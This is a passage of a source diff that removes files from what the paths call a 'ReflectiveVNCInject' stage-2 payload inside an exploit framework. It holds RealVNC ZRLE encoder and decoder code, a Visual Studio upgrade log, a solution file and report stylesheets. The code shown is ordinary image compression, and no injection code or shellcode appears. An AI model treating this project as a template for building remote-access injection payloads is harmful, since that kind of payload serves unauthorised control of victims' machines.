int mode = zis->readU8();
bool rle = mode & 128;
int palSize = mode & 127;
PIXEL_T palette[128];
// fprintf(stderr,"rle %d palSize %d\n",rle,palSize);
for (int i = 0; i < palSize; i++) {
palette[i] = zis->READ_PIXEL();
}
if (palSize == 1) {
PIXEL_T pix = palette[0];
FILL_RECT(tx,ty,tw,th,pix);
continue;
}
if (!rle) {
if (palSize == 0) {
// raw
#ifdef CPIXEL
for (PIXEL_T* ptr = buf; ptr < buf+tw*th; ptr++) {
*ptr = zis->READ_PIXEL();
}
#else
zis->readBytes(buf, tw * th * (BPP / 8));
#endif
} else {
// packed pixels
int bppp = ((palSize > 16) ? 8 :
((palSize > 4) ? 4 : ((palSize > 2) ? 2 : 1)));
PIXEL_T* ptr = buf;
for (int i = 0; i < th; i++) {
PIXEL_T* eol = ptr + tw;
U8 byte = 0;
U8 nbits = 0;
while (ptr < eol) {
if (nbits == 0) {
byte = zis->readU8();
nbits = 8;
}
nbits -= bppp;
U8 index = (byte >> nbits) & ((1 << bppp) - 1) & 127;
*ptr++ = palette[index];
}
}
}
#ifdef FAVOUR_FILL_RECT
//fprintf(stderr,"copying data to screen %dx%d at %d,%d\n",tw,th,tx,ty);
IMAGE_RECT(tx,ty,tw,th,buf);
#endif
} else {
if (palSize == 0) {
// plain RLE
PIXEL_T* ptr = buf;
PIXEL_T* end = ptr + th * tw;
while (ptr < end) {
PIXEL_T pix = zis->READ_PIXEL();
int len = 1;
int b;
do {
b = zis->readU8();
len += b;
} while (b == 255);
assert(len <= end - ptr);
#ifdef FAVOUR_FILL_RECT
int i = ptr - buf;
ptr += len;
int runX = i % tw;
int runY = i / tw;
if (runX + len > tw) {
if (runX != 0) {
FILL_RECT(tx+runX, ty+runY, tw-runX, 1, pix);
len -= tw-runX;
runX = 0;
runY++;
}
if (len > tw) {
FILL_RECT(tx, ty+runY, tw, len/tw, pix);
runY += len / tw;
len = len % tw;
}
}
if (len != 0) {
FILL_RECT(tx+runX, ty+runY, len, 1, pix);
}
#else
while (len-- > 0) *ptr++ = pix;
#endif
}
} else {
// palette RLE
PIXEL_T* ptr = buf;
PIXEL_T* end = ptr + th * tw;
while (ptr < end) {
int index = zis->readU8();
int len = 1;
if (index & 128) {
int b;
do {
b = zis->readU8();
len += b;
} while (b == 255);
assert(len <= end - ptr);
}
index &= 127;
PIXEL_T pix = palette[index];
#ifdef FAVOUR_FILL_RECT
int i = ptr - buf;
ptr += len;
int runX = i % tw;
int runY = i / tw;
if (runX + len > tw) {
if (runX != 0) {
FILL_RECT(tx+runX, ty+runY, tw-runX, 1, pix);
len -= tw-runX;
runX = 0;
runY++;
}
if (len > tw) {
FILL_RECT(tx, ty+runY, tw, len/tw, pix);
runY += len / tw;
len = len % tw;
}
}
if (len != 0) {
FILL_RECT(tx+runX, ty+runY, len, 1, pix);
}
#else
while (len-- > 0) *ptr++ = pix;
#endif
}
}
}
#ifndef FAVOUR_FILL_RECT
//fprintf(stderr,"copying data to screen %dx%d at %d,%d\n",tw,th,tx,ty);
IMAGE_RECT(tx,ty,tw,th,buf);
#endif
}
}
zis->reset();
}
#undef ZRLE_DECODE_BPP
#undef READ_PIXEL
#undef PIXEL_T

View File

@ -1,310 +0,0 @@
//
// Copyright (C) 2002 RealVNC Ltd. All Rights Reserved.
//
// This is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This software is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this software; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// zrleEncode.h - zrle encoding function.
//
// Before including this file, you must define a number of CPP macros.
//
// BPP should be 8, 16 or 32 depending on the bits per pixel.
// GET_IMAGE_INTO_BUF should be some code which gets a rectangle of pixel data
// into the given buffer. EXTRA_ARGS can be defined to pass any other
// arguments needed by GET_IMAGE_INTO_BUF.
//
// Note that the buf argument to ZRLE_ENCODE needs to be at least one pixel
// bigger than the largest tile of pixel data, since the ZRLE encoding
// algorithm writes to the position one past the end of the pixel data.
//
#include <rdr/OutStream.h>
#include <assert.h>
using namespace rdr;
/* __RFB_CONCAT2 concatenates its two arguments. __RFB_CONCAT2E does the same
but also expands its arguments if they are macros */
#ifndef __RFB_CONCAT2E
#define __RFB_CONCAT2(a,b) a##b
#define __RFB_CONCAT2E(a,b) __RFB_CONCAT2(a,b)
#endif
#ifdef CPIXEL
#define PIXEL_T __RFB_CONCAT2E(rdr::U,BPP)
#define WRITE_PIXEL __RFB_CONCAT2E(writeOpaque,CPIXEL)
#define ZRLE_ENCODE __RFB_CONCAT2E(zrleEncode,CPIXEL)
#define ZRLE_ENCODE_TILE __RFB_CONCAT2E(zrleEncodeTile,CPIXEL)
#define BPPOUT 24
#else
#define PIXEL_T __RFB_CONCAT2E(rdr::U,BPP)
#define WRITE_PIXEL __RFB_CONCAT2E(writeOpaque,BPP)
#define ZRLE_ENCODE __RFB_CONCAT2E(zrleEncode,BPP)
#define ZRLE_ENCODE_TILE __RFB_CONCAT2E(zrleEncodeTile,BPP)
#define BPPOUT BPP
#endif
#ifndef ZRLE_ONCE
#define ZRLE_ONCE
static const int bitsPerPackedPixel[] = {
0, 1, 2, 2, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4
};
// The PaletteHelper class helps us build up the palette from pixel data by
// storing a reverse index using a simple hash-table
class PaletteHelper {
public:
enum { MAX_SIZE = 127 };
PaletteHelper()
{
memset(index, 255, sizeof(index));
size = 0;
}
inline int hash(rdr::U32 pix)
{
return (pix ^ (pix >> 17)) & 4095;
}
inline void insert(rdr::U32 pix)
{
if (size < MAX_SIZE) {
int i = hash(pix);
while (index[i] != 255 && key[i] != pix)
i++;
if (index[i] != 255) return;
index[i] = size;
key[i] = pix;
palette[size] = pix;
}
size++;
}
inline int lookup(rdr::U32 pix)
{
assert(size <= MAX_SIZE);
int i = hash(pix);
while (index[i] != 255 && key[i] != pix)
i++;
if (index[i] != 255) return index[i];
return -1;
}
rdr::U32 palette[MAX_SIZE];
rdr::U8 index[4096+MAX_SIZE];
rdr::U32 key[4096+MAX_SIZE];
int size;
};
#endif
void ZRLE_ENCODE_TILE (PIXEL_T* data, int w, int h, rdr::OutStream* os);
void ZRLE_ENCODE (int x, int y, int w, int h, rdr::OutStream* os,
rdr::ZlibOutStream* zos, void* buf
EXTRA_ARGS
)
{
zos->setUnderlying(os);
for (int ty = y; ty < y+h; ty += rfbZRLETileHeight) {
int th = rfbZRLETileHeight;
if (th > y+h-ty) th = y+h-ty;
for (int tx = x; tx < x+w; tx += rfbZRLETileWidth) {
int tw = rfbZRLETileWidth;
if (tw > x+w-tx) tw = x+w-tx;
GET_IMAGE_INTO_BUF(tx,ty,tw,th,buf);
ZRLE_ENCODE_TILE((PIXEL_T*)buf, tw, th, zos);
}
}
zos->flush();
}
void ZRLE_ENCODE_TILE (PIXEL_T* data, int w, int h, rdr::OutStream* os)
{
// First find the palette and the number of runs
PaletteHelper ph;
int runs = 0;
int singlePixels = 0;
PIXEL_T* ptr = data;
PIXEL_T* end = ptr + h * w;
*end = ~*(end-1); // one past the end is different so the while loop ends
while (ptr < end) {
PIXEL_T pix = *ptr;
if (*++ptr != pix) {
singlePixels++;
} else {
while (*++ptr == pix) ;
runs++;
}
ph.insert(pix);
}
//fprintf(stderr,"runs %d, single pixels %d, paletteSize %d\n",
// runs, singlePixels, ph.size);
// Solid tile is a special case
if (ph.size == 1) {
os->writeU8(1);
os->WRITE_PIXEL(ph.palette[0]);
return;
}
// Try to work out whether to use RLE and/or a palette. We do this by
// estimating the number of bytes which will be generated and picking the
// method which results in the fewest bytes. Of course this may not result
// in the fewest bytes after compression...
bool useRle = false;
bool usePalette = false;
int estimatedBytes = w * h * (BPPOUT/8); // start assuming raw
int plainRleBytes = ((BPPOUT/8)+1) * (runs + singlePixels);
if (plainRleBytes < estimatedBytes) {
useRle = true;
estimatedBytes = plainRleBytes;
}
if (ph.size < 128) {
int paletteRleBytes = (BPPOUT/8) * ph.size + 2 * runs + singlePixels;
if (paletteRleBytes < estimatedBytes) {
useRle = true;
usePalette = true;
estimatedBytes = paletteRleBytes;
}
if (ph.size < 17) {
int packedBytes = ((BPPOUT/8) * ph.size +
w * h * bitsPerPackedPixel[ph.size-1] / 8);
if (packedBytes < estimatedBytes) {
useRle = false;
usePalette = true;
estimatedBytes = packedBytes;
}
}
}
if (!usePalette) ph.size = 0;
os->writeU8((useRle ? 128 : 0) | ph.size);
for (int i = 0; i < ph.size; i++) {
os->WRITE_PIXEL(ph.palette[i]);
}
if (useRle) {
PIXEL_T* ptr = data;
PIXEL_T* end = ptr + w * h;
PIXEL_T* runStart;
PIXEL_T pix;
while (ptr < end) {
runStart = ptr;
pix = *ptr++;
while (*ptr == pix && ptr < end)
ptr++;
int len = ptr - runStart;
if (len <= 2 && usePalette) {
int index = ph.lookup(pix);
if (len == 2)
os->writeU8(index);
os->writeU8(index);
continue;
}
if (usePalette) {
int index = ph.lookup(pix);
os->writeU8(index | 128);
} else {
os->WRITE_PIXEL(pix);
}
len -= 1;
while (len >= 255) {
os->writeU8(255);
len -= 255;
}
os->writeU8(len);
}
} else {
// no RLE
if (usePalette) {
// packed pixels
assert (ph.size < 17);
int bppp = bitsPerPackedPixel[ph.size-1];
PIXEL_T* ptr = data;
for (int i = 0; i < h; i++) {
U8 nbits = 0;
U8 byte = 0;
PIXEL_T* eol = ptr + w;
while (ptr < eol) {
PIXEL_T pix = *ptr++;
U8 index = ph.lookup(pix);
byte = (byte << bppp) | index;
nbits += bppp;
if (nbits >= 8) {
os->writeU8(byte);
nbits = 0;
}
}
if (nbits > 0) {
byte <<= 8 - nbits;
os->writeU8(byte);
}
}
} else {
// raw
#ifdef CPIXEL
for (PIXEL_T* ptr = data; ptr < data+w*h; ptr++) {
os->WRITE_PIXEL(*ptr);
}
#else
os->writeBytes(data, w*h*(BPP/8));
#endif
}
}
}
#undef PIXEL_T
#undef WRITE_PIXEL
#undef ZRLE_ENCODE
#undef ZRLE_ENCODE_TILE
#undef BPPOUT

View File

@ -1,48 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type='text/xsl' href='_UpgradeReport_Files/UpgradeReport.xslt'?><UpgradeLog>
<Properties><Property Name="Solution" Value="VNC DLL Injection">
</Property><Property Name="Solution File" Value="J:\Development\workspace\ExploitFramework\src\ShellcodeSource\Stage2\ReflectiveDllInject\ReflectiveVNCInject\winvnc\VNC DLL Injection.sln">
</Property><Property Name="User Options File" Value="J:\Development\workspace\ExploitFramework\src\ShellcodeSource\Stage2\ReflectiveDllInject\ReflectiveVNCInject\winvnc\VNC DLL Injection.suo">
</Property><Property Name="Date" Value="09 September 2008">
</Property><Property Name="Time" Value="15:55">
</Property></Properties><Event ErrorLevel="0" Project="" Source="VNC DLL Injection.sln" Description="File successfully backed up as J:\Development\workspace\ExploitFramework\src\ShellcodeSource\Stage2\ReflectiveDllInject\ReflectiveVNCInject\winvnc\VNC DLL Injection.sln.old">
</Event><Event ErrorLevel="0" Project="" Source="VNC DLL Injection.suo" Description="File successfully backed up as J:\Development\workspace\ExploitFramework\src\ShellcodeSource\Stage2\ReflectiveDllInject\ReflectiveVNCInject\winvnc\VNC DLL Injection.suo.old">
</Event><Event ErrorLevel="1" Project="Xregion" Source="..\Xregion\Xregion.vcproj" Description="The C/C++ compiler switch /YX is lo longer supported. /YX has been removed from your project settings.">
</Event><Event ErrorLevel="0" Project="Xregion" Source="..\Xregion\Xregion.vcproj" Description="Visual C++ now provides improved safety in its C and C++ Libraries. This includes new and improved functions, additional checking and validation, and internal design changes. These libraries are turned on by default. You may see some warnings about unsafe functions or parameters when you build your project. The warnings will generally suggest an alternative safer coding style or function. It is advised that you correct these warnings, in order to make your code more safe. Full details can be found in the documentation by searching for 'Security Enhancements in the CRT' and for 'Checked Iterators'.">
</Event><Event ErrorLevel="0" Project="Xregion" Source="..\Xregion\Xregion.vcproj" Description="The C/C++ compiler default settings have been modified to be more compliant with ISO Standard C++. Included in those changes are enforcing Standard C++ for loop scoping and supporting wchar_t as a native type. These changes may cause existing code to no longer compile without changes to the code or the compiler options with which it is built.">
</Event><Event ErrorLevel="1" Project="Xregion" Source="..\Xregion\Xregion.vcproj" Description="Due to the requirement that Visual C++ projects produce an embedded (by default) Windows SxS manifest, manifest files in the project are now automatically built with the Manifest Tool. You may need to change your build in order for it to work correctly. For instance, it is recommended that the dependency information contained in any manifest files be converted to &quot;#pragma comment(linker,&quot;&lt;insert dependency here&gt;&quot;)&quot; in a header file that is included from your source code. If your project already embeds a manifest in the RT_MANIFEST resource section through a resource (.rc) file, the line may need to be commented out before the project will build correctly.">
</Event><Event ErrorLevel="1" Project="Xregion" Source="..\Xregion\Xregion.vcproj" Description="Due to a conformance change in the C++ compiler, code change may be required before your project will build without errors. Previous versions of the C++ compiler allowed specification of member function pointers by member function name (e.g. MemberFunctionName). The C++ standard requires a fully qualified name with the use of the address-of operator (e.g. &amp;ClassName::MemberFunctionName). If your project contains forms or controls used in the Windows Forms Designer, you may have to change code in InitializeComponent because the designer generated code used the non-conformant syntax in delegate construction (used in event handlers).">
</Event><Event ErrorLevel="1" Project="Xregion" Source="..\Xregion\Xregion.vcproj" Description="This application has been updated to include settings related to the User Account Control (UAC) feature of Windows Vista. By default, when run on Windows Vista with UAC enabled, this application is marked to run with the same privileges as the process that launched it. This marking also disables the application from running with virtualization. You can change UAC related settings from the Property Pages of the project.">
</Event><Event ErrorLevel="0" Project="Xregion" Source="..\Xregion\Xregion.vcproj" Description="Project file successfully backed up as 'J:\Development\workspace\ExploitFramework\src\ShellcodeSource\Stage2\ReflectiveDllInject\ReflectiveVNCInject\Xregion\Xregion.vcproj.7.10.old'.">
</Event><Event ErrorLevel="0" Project="Xregion" Source="..\Xregion\Xregion.vcproj" Description="Project upgraded successfully.">
</Event><Event ErrorLevel="3" Project="Xregion" Source="..\Xregion\Xregion.vcproj" Description="Converted">
</Event><Event ErrorLevel="1" Project="rdr" Source="..\rdr\rdr.vcproj" Description="The C/C++ compiler switch /YX is lo longer supported. /YX has been removed from your project settings.">
</Event><Event ErrorLevel="0" Project="rdr" Source="..\rdr\rdr.vcproj" Description="Visual C++ now provides improved safety in its C and C++ Libraries. This includes new and improved functions, additional checking and validation, and internal design changes. These libraries are turned on by default. You may see some warnings about unsafe functions or parameters when you build your project. The warnings will generally suggest an alternative safer coding style or function. It is advised that you correct these warnings, in order to make your code more safe. Full details can be found in the documentation by searching for 'Security Enhancements in the CRT' and for 'Checked Iterators'.">
</Event><Event ErrorLevel="0" Project="rdr" Source="..\rdr\rdr.vcproj" Description="The C/C++ compiler default settings have been modified to be more compliant with ISO Standard C++. Included in those changes are enforcing Standard C++ for loop scoping and supporting wchar_t as a native type. These changes may cause existing code to no longer compile without changes to the code or the compiler options with which it is built.">
</Event><Event ErrorLevel="1" Project="rdr" Source="..\rdr\rdr.vcproj" Description="Due to the requirement that Visual C++ projects produce an embedded (by default) Windows SxS manifest, manifest files in the project are now automatically built with the Manifest Tool. You may need to change your build in order for it to work correctly. For instance, it is recommended that the dependency information contained in any manifest files be converted to &quot;#pragma comment(linker,&quot;&lt;insert dependency here&gt;&quot;)&quot; in a header file that is included from your source code. If your project already embeds a manifest in the RT_MANIFEST resource section through a resource (.rc) file, the line may need to be commented out before the project will build correctly.">
</Event><Event ErrorLevel="1" Project="rdr" Source="..\rdr\rdr.vcproj" Description="Due to a conformance change in the C++ compiler, code change may be required before your project will build without errors. Previous versions of the C++ compiler allowed specification of member function pointers by member function name (e.g. MemberFunctionName). The C++ standard requires a fully qualified name with the use of the address-of operator (e.g. &amp;ClassName::MemberFunctionName). If your project contains forms or controls used in the Windows Forms Designer, you may have to change code in InitializeComponent because the designer generated code used the non-conformant syntax in delegate construction (used in event handlers).">
</Event><Event ErrorLevel="1" Project="rdr" Source="..\rdr\rdr.vcproj" Description="This application has been updated to include settings related to the User Account Control (UAC) feature of Windows Vista. By default, when run on Windows Vista with UAC enabled, this application is marked to run with the same privileges as the process that launched it. This marking also disables the application from running with virtualization. You can change UAC related settings from the Property Pages of the project.">
</Event><Event ErrorLevel="0" Project="rdr" Source="..\rdr\rdr.vcproj" Description="Project file successfully backed up as 'J:\Development\workspace\ExploitFramework\src\ShellcodeSource\Stage2\ReflectiveDllInject\ReflectiveVNCInject\rdr\rdr.vcproj.7.10.old'.">
</Event><Event ErrorLevel="0" Project="rdr" Source="..\rdr\rdr.vcproj" Description="Project upgraded successfully.">
</Event><Event ErrorLevel="3" Project="rdr" Source="..\rdr\rdr.vcproj" Description="Converted">
</Event><Event ErrorLevel="1" Project="vncdll" Source="vncdll\vncdll.vcproj" Description="The C/C++ compiler switch /YX is lo longer supported. /YX has been removed from your project settings.">
</Event><Event ErrorLevel="0" Project="vncdll" Source="vncdll\vncdll.vcproj" Description="Web deployment to the local IIS server is no longer supported. The Web Deployment build tool has been removed from your project settings.">
</Event><Event ErrorLevel="0" Project="vncdll" Source="vncdll\vncdll.vcproj" Description="Visual C++ now provides improved safety in its C and C++ Libraries. This includes new and improved functions, additional checking and validation, and internal design changes. These libraries are turned on by default. You may see some warnings about unsafe functions or parameters when you build your project. The warnings will generally suggest an alternative safer coding style or function. It is advised that you correct these warnings, in order to make your code more safe. Full details can be found in the documentation by searching for 'Security Enhancements in the CRT' and for 'Checked Iterators'.">
</Event><Event ErrorLevel="0" Project="vncdll" Source="vncdll\vncdll.vcproj" Description="The C/C++ compiler default settings have been modified to be more compliant with ISO Standard C++. Included in those changes are enforcing Standard C++ for loop scoping and supporting wchar_t as a native type. These changes may cause existing code to no longer compile without changes to the code or the compiler options with which it is built.">
</Event><Event ErrorLevel="1" Project="vncdll" Source="vncdll\vncdll.vcproj" Description="Due to the requirement that Visual C++ projects produce an embedded (by default) Windows SxS manifest, manifest files in the project are now automatically built with the Manifest Tool. You may need to change your build in order for it to work correctly. For instance, it is recommended that the dependency information contained in any manifest files be converted to &quot;#pragma comment(linker,&quot;&lt;insert dependency here&gt;&quot;)&quot; in a header file that is included from your source code. If your project already embeds a manifest in the RT_MANIFEST resource section through a resource (.rc) file, the line may need to be commented out before the project will build correctly.">
</Event><Event ErrorLevel="1" Project="vncdll" Source="vncdll\vncdll.vcproj" Description="Due to a conformance change in the C++ compiler, code change may be required before your project will build without errors. Previous versions of the C++ compiler allowed specification of member function pointers by member function name (e.g. MemberFunctionName). The C++ standard requires a fully qualified name with the use of the address-of operator (e.g. &amp;ClassName::MemberFunctionName). If your project contains forms or controls used in the Windows Forms Designer, you may have to change code in InitializeComponent because the designer generated code used the non-conformant syntax in delegate construction (used in event handlers).">
</Event><Event ErrorLevel="1" Project="vncdll" Source="vncdll\vncdll.vcproj" Description="This application has been updated to include settings related to the User Account Control (UAC) feature of Windows Vista. By default, when run on Windows Vista with UAC enabled, this application is marked to run with the same privileges as the process that launched it. This marking also disables the application from running with virtualization. You can change UAC related settings from the Property Pages of the project.">
</Event><Event ErrorLevel="0" Project="vncdll" Source="vncdll\vncdll.vcproj" Description="Project file successfully backed up as 'J:\Development\workspace\ExploitFramework\src\ShellcodeSource\Stage2\ReflectiveDllInject\ReflectiveVNCInject\winvnc\vncdll\vncdll.vcproj.7.10.old'.">
</Event><Event ErrorLevel="0" Project="vncdll" Source="vncdll\vncdll.vcproj" Description="Project upgraded successfully.">
</Event><Event ErrorLevel="3" Project="vncdll" Source="vncdll\vncdll.vcproj" Description="Converted">
</Event><Event ErrorLevel="1" Project="zlib" Source="..\zlib\zlib.vcproj" Description="The C/C++ compiler switch /YX is lo longer supported. /YX has been removed from your project settings.">
</Event><Event ErrorLevel="0" Project="zlib" Source="..\zlib\zlib.vcproj" Description="Visual C++ now provides improved safety in its C and C++ Libraries. This includes new and improved functions, additional checking and validation, and internal design changes. These libraries are turned on by default. You may see some warnings about unsafe functions or parameters when you build your project. The warnings will generally suggest an alternative safer coding style or function. It is advised that you correct these warnings, in order to make your code more safe. Full details can be found in the documentation by searching for 'Security Enhancements in the CRT' and for 'Checked Iterators'.">
</Event><Event ErrorLevel="0" Project="zlib" Source="..\zlib\zlib.vcproj" Description="The C/C++ compiler default settings have been modified to be more compliant with ISO Standard C++. Included in those changes are enforcing Standard C++ for loop scoping and supporting wchar_t as a native type. These changes may cause existing code to no longer compile without changes to the code or the compiler options with which it is built.">
</Event><Event ErrorLevel="1" Project="zlib" Source="..\zlib\zlib.vcproj" Description="Due to the requirement that Visual C++ projects produce an embedded (by default) Windows SxS manifest, manifest files in the project are now automatically built with the Manifest Tool. You may need to change your build in order for it to work correctly. For instance, it is recommended that the dependency information contained in any manifest files be converted to &quot;#pragma comment(linker,&quot;&lt;insert dependency here&gt;&quot;)&quot; in a header file that is included from your source code. If your project already embeds a manifest in the RT_MANIFEST resource section through a resource (.rc) file, the line may need to be commented out before the project will build correctly.">
</Event><Event ErrorLevel="1" Project="zlib" Source="..\zlib\zlib.vcproj" Description="Due to a conformance change in the C++ compiler, code change may be required before your project will build without errors. Previous versions of the C++ compiler allowed specification of member function pointers by member function name (e.g. MemberFunctionName). The C++ standard requires a fully qualified name with the use of the address-of operator (e.g. &amp;ClassName::MemberFunctionName). If your project contains forms or controls used in the Windows Forms Designer, you may have to change code in InitializeComponent because the designer generated code used the non-conformant syntax in delegate construction (used in event handlers).">
</Event><Event ErrorLevel="1" Project="zlib" Source="..\zlib\zlib.vcproj" Description="This application has been updated to include settings related to the User Account Control (UAC) feature of Windows Vista. By default, when run on Windows Vista with UAC enabled, this application is marked to run with the same privileges as the process that launched it. This marking also disables the application from running with virtualization. You can change UAC related settings from the Property Pages of the project.">
</Event><Event ErrorLevel="0" Project="zlib" Source="..\zlib\zlib.vcproj" Description="Project file successfully backed up as 'J:\Development\workspace\ExploitFramework\src\ShellcodeSource\Stage2\ReflectiveDllInject\ReflectiveVNCInject\zlib\zlib.vcproj.7.10.old'.">
</Event><Event ErrorLevel="0" Project="zlib" Source="..\zlib\zlib.vcproj" Description="Project upgraded successfully.">
</Event><Event ErrorLevel="3" Project="zlib" Source="..\zlib\zlib.vcproj" Description="Converted">
</Event><Event ErrorLevel="0" Project="" Source="VNC DLL Injection.sln" Description="Solution converted successfully">
</Event><Event ErrorLevel="3" Project="" Source="VNC DLL Injection.sln" Description="Converted">
</Event></UpgradeLog>

View File

@ -1,33 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 10.00
# Visual C++ Express 2008
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Xregion", "..\Xregion\Xregion.vcproj", "{2B336221-F3CC-4100-AFC6-FE6F7D1348A3}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "rdr", "..\rdr\rdr.vcproj", "{F2473D0A-3E49-4127-9FF6-51D53C45590A}"
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "vncdll", "vncdll\vncdll.vcproj", "{AC521037-8079-4B64-9135-115F1CF6B467}"
ProjectSection(ProjectDependencies) = postProject
{F2473D0A-3E49-4127-9FF6-51D53C45590A} = {F2473D0A-3E49-4127-9FF6-51D53C45590A}
{2B336221-F3CC-4100-AFC6-FE6F7D1348A3} = {2B336221-F3CC-4100-AFC6-FE6F7D1348A3}
{79543867-ADAB-4DA1-A4BB-6950AA81C090} = {79543867-ADAB-4DA1-A4BB-6950AA81C090}
EndProjectSection
EndProject
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "zlib", "..\zlib\zlib.vcproj", "{79543867-ADAB-4DA1-A4BB-6950AA81C090}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{2B336221-F3CC-4100-AFC6-FE6F7D1348A3}.Release|Win32.ActiveCfg = Release|Win32
{2B336221-F3CC-4100-AFC6-FE6F7D1348A3}.Release|Win32.Build.0 = Release|Win32
{F2473D0A-3E49-4127-9FF6-51D53C45590A}.Release|Win32.ActiveCfg = Release|Win32
{F2473D0A-3E49-4127-9FF6-51D53C45590A}.Release|Win32.Build.0 = Release|Win32
{AC521037-8079-4B64-9135-115F1CF6B467}.Release|Win32.ActiveCfg = Release|Win32
{AC521037-8079-4B64-9135-115F1CF6B467}.Release|Win32.Build.0 = Release|Win32
{79543867-ADAB-4DA1-A4BB-6950AA81C090}.Release|Win32.ActiveCfg = Release|Win32
{79543867-ADAB-4DA1-A4BB-6950AA81C090}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,207 +0,0 @@
BODY
{
BACKGROUND-COLOR: white;
FONT-FAMILY: "Verdana", sans-serif;
FONT-SIZE: 100%;
MARGIN-LEFT: 0px;
MARGIN-TOP: 0px
}
P
{
FONT-FAMILY: "Verdana", sans-serif;
FONT-SIZE: 70%;
LINE-HEIGHT: 12pt;
MARGIN-BOTTOM: 0px;
MARGIN-LEFT: 10px;
MARGIN-TOP: 10px
}
.note
{
BACKGROUND-COLOR: #ffffff;
COLOR: #336699;
FONT-FAMILY: "Verdana", sans-serif;
FONT-SIZE: 100%;
MARGIN-BOTTOM: 0px;
MARGIN-LEFT: 0px;
MARGIN-TOP: 0px;
PADDING-RIGHT: 10px
}
.infotable
{
BACKGROUND-COLOR: #f0f0e0;
BORDER-BOTTOM: #ffffff 0px solid;
BORDER-COLLAPSE: collapse;
BORDER-LEFT: #ffffff 0px solid;
BORDER-RIGHT: #ffffff 0px solid;
BORDER-TOP: #ffffff 0px solid;
FONT-SIZE: 70%;
MARGIN-LEFT: 10px
}
.issuetable
{
BACKGROUND-COLOR: #ffffe8;
BORDER-COLLAPSE: collapse;
COLOR: #000000;
FONT-SIZE: 100%;
MARGIN-BOTTOM: 10px;
MARGIN-LEFT: 13px;
MARGIN-TOP: 0px
}
.issuetitle
{
BACKGROUND-COLOR: #ffffff;
BORDER-BOTTOM: #dcdcdc 1px solid;
BORDER-TOP: #dcdcdc 1px;
COLOR: #003366;
FONT-WEIGHT: normal
}
.header
{
BACKGROUND-COLOR: #cecf9c;
BORDER-BOTTOM: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #ffffff 1px solid;
COLOR: #000000;
FONT-WEIGHT: bold
}
.issuehdr
{
BACKGROUND-COLOR: #E0EBF5;
BORDER-BOTTOM: #dcdcdc 1px solid;
BORDER-TOP: #dcdcdc 1px solid;
COLOR: #000000;
FONT-WEIGHT: normal
}
.issuenone
{
BACKGROUND-COLOR: #ffffff;
BORDER-BOTTOM: 0px;
BORDER-LEFT: 0px;
BORDER-RIGHT: 0px;
BORDER-TOP: 0px;
COLOR: #000000;
FONT-WEIGHT: normal
}
.content
{
BACKGROUND-COLOR: #e7e7ce;
BORDER-BOTTOM: #ffffff 1px solid;
BORDER-LEFT: #ffffff 1px solid;
BORDER-RIGHT: #ffffff 1px solid;
BORDER-TOP: #ffffff 1px solid;
PADDING-LEFT: 3px
}
.issuecontent
{
BACKGROUND-COLOR: #ffffff;
BORDER-BOTTOM: #dcdcdc 1px solid;
BORDER-TOP: #dcdcdc 1px solid;
PADDING-LEFT: 3px
}
A:link
{
COLOR: #cc6633;
TEXT-DECORATION: underline
}
A:visited
{
COLOR: #cc6633;
}
A:active
{
COLOR: #cc6633;
}
A:hover
{
COLOR: #cc3300;
TEXT-DECORATION: underline
}
H1
{
BACKGROUND-COLOR: #003366;
BORDER-BOTTOM: #336699 6px solid;
COLOR: #ffffff;
FONT-SIZE: 130%;
FONT-WEIGHT: normal;
MARGIN: 0em 0em 0em -20px;
PADDING-BOTTOM: 8px;
PADDING-LEFT: 30px;
PADDING-TOP: 16px
}
H2
{
COLOR: #000000;
FONT-SIZE: 80%;
FONT-WEIGHT: bold;
MARGIN-BOTTOM: 3px;
MARGIN-LEFT: 10px;
MARGIN-TOP: 20px;
PADDING-LEFT: 0px
}
H3
{
COLOR: #000000;
FONT-SIZE: 80%;
FONT-WEIGHT: bold;
MARGIN-BOTTOM: -5px;
MARGIN-LEFT: 10px;
MARGIN-TOP: 20px
}
H4
{
COLOR: #000000;
FONT-SIZE: 70%;
FONT-WEIGHT: bold;
MARGIN-BOTTOM: 0px;
MARGIN-TOP: 15px;
PADDING-BOTTOM: 0px
}
UL
{
COLOR: #000000;
FONT-SIZE: 70%;
LIST-STYLE: square;
MARGIN-BOTTOM: 0pt;
MARGIN-TOP: 0pt
}
OL
{
COLOR: #000000;
FONT-SIZE: 70%;
LIST-STYLE: square;
MARGIN-BOTTOM: 0pt;
MARGIN-TOP: 0pt
}
LI
{
LIST-STYLE: square;
MARGIN-LEFT: 0px
}
.expandable
{
CURSOR: hand
}
.expanded
{
color: black
}
.collapsed
{
DISPLAY: none
}
.foot
{
BACKGROUND-COLOR: #ffffff;
BORDER-BOTTOM: #cecf9c 1px solid;
BORDER-TOP: #cecf9c 2px solid
}
.settings
{
MARGIN-LEFT: 25PX;
}
.help
{
TEXT-ALIGN: right;
margin-right: 10px;
}

View File

@ -1,232 +0,0 @@
<?xml version="1.0" encoding="utf-8" ?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl='urn:schemas-microsoft-com:xslt'>
<xsl:key name="ProjectKey" match="Event" use="@Project" />
<xsl:template match="Events" mode="createProjects">
<projects>
